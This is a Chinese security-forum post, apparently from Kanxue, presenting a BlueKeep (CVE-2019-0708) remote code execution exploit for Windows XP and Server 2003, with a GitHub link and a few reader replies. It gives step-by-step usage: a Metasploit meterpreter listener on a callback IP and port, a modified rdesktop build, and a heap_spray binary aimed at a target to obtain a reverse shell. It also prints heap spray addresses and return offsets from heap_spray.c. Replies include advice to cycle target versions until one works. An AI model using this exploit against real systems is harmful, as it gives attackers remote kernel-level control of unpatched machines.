-
-
[原创]cve-2019-0708_bluekeep_xp_rce
-
2019-9-29 17:42
-
https://github.com/coolboy4me/cve-2019-0708_bluekeep_rce
前后花了3个月通过能够找到的各种开源资料，看雪论坛求助，实现了xp下面的稳定利用。03可以利用自己的机器，不具备通用性。
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config，配置回连ip和端口
192.168.116.133
6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址，内存大于等于2G)
5. msfconsole meterpreter 会得到session
ps:
shellcode/shellcode.asm 是内核shellcode源码，编译以后转成二进制，就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了，make的时候会直接编译进程序。
目前仅支持xp，需要xp的内存 >= 2G
如果需要支持2003，需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址，经过反复测试，这个地址在03的不同系统版本，不同内存大小是不一样的。但是如果要测试
自己的机器的话，是可以成功在03上利用。不具备通用性。
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
测试03
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config，配置回连ip和端口
192.168.116.133
6000
4. 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址，内存大于等于2G)
5. msfconsole meterpreter 会得到session
最后于 2019-9-30 11:34
被coolboyme编辑
，原因： 补充使用说明和源码附件
|
|
|---|---|
|
|
|
|
|
|
|
|
好的，已经贴过来了 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
大佬你好~ 我看了一下源代码，没有看得很明白，使用的是MS_120频道PDU喷堆吗? 我试过这个方式，在2008/win7系统上实现不了 …… |
|
|
MS_120 这个channel在2008/win7 确实用不了。 |
|
|
|
|
|
ubunbu 系统 make 编译时 出错。。。kali 编译时 是出错。。。有windows 编译的吗。。。make 编译时 rdesktop-1.8 成功。。。 给个架设好 ubunbu 系统 ...网盘下载。。有py版本..rb版本的吗。。
    
|
|
|
假设有4种版本，你怎么知道目标版本是哪一个呢？ 一打过去就蓝屏了。 |
|
|
编译出错是库依赖，简单百度下就能解决了。 |
|
|
|
|
|
没有rb版本，不打算合入到 msf 里面 |
|
|
自定义4种版本。和meterprete一样 自己手动选择啊。最多4次不就成功。 |
